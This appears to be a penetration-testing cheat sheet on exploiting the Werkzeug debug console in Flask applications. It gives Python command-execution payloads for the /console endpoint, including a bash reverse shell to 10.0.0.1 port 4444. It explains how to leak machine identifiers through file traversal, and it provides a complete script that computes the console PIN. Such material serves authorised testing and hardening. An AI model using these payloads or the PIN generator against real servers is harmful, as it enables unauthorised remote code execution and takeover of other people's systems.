Werkzeug

Theory

Werkzeug is a comprehensive WSGI web application library. It began as a simple collection of various utilities for WSGI applications and has become one of the most advanced WSGI utility libraries. It is commonly used for Flask web application.

Practice

Console RCE

If debug is active you could try to access to /console endpoint or to trigger a Werkzeug error and gain RCE.

__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())

# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()

Console PIN Exploit

In some occasions the /console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.

According to the Werkzeug PIN generation source code, here are the needed variables to generate the PIN code:

Needed variables

Variables needed to exploit the console PIN:

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

probably_public_bits

username

This is the user who started this Flask instance. You may find it in /proc/self/environ

modname

It's flask.app

getattr(app, 'name', getattr (app . class, 'name'))

It's generally Flask but it may change depending of how the server has been started. Check this video for details.

You may want to download application files, edit python3.5/site-packages/werkzeug/debug/__init__.py to make it print probably_public_bits and run it locally to get the right variable.

getattr(mod, 'file', None)

is the absolute path of app.py in the flask directory (e.g. /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py doesn't work, try app.pyc You may find this information in the Werkzeug error message.

private_bits

uuid.getnode()

is the MAC address of the current computer, str(uuid.getnode()) is the decimal expression of the mac address.

To find server MAC address, need to know which network interface is being used to serve the app (e.g. ens3). If unknown, leak /proc/net/arp for device ID and then leak MAC address at /sys/class/net/<device id>/address.

Convert from hex address to decimal representation by running in python e.g.:

# It was 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692

Side note: It looks like Ubuntu Desktop doesn’t return “correct” values for getnode

get_machine_id()

concatenate the values in /etc/machine-id or /proc/sys/kernel/random/boot_id with the first line of /proc/self/cgroup after the last slash (/).

To clarify, here is the code used by Werkzeug to generate the machine_id

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:                                                                                                  
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": 
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:

Once all variables prepared, run exploit script to generate Werkzeug console PIN:

Generate the PIN

You can use the following code with previous values to generate a valid PIN code

import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)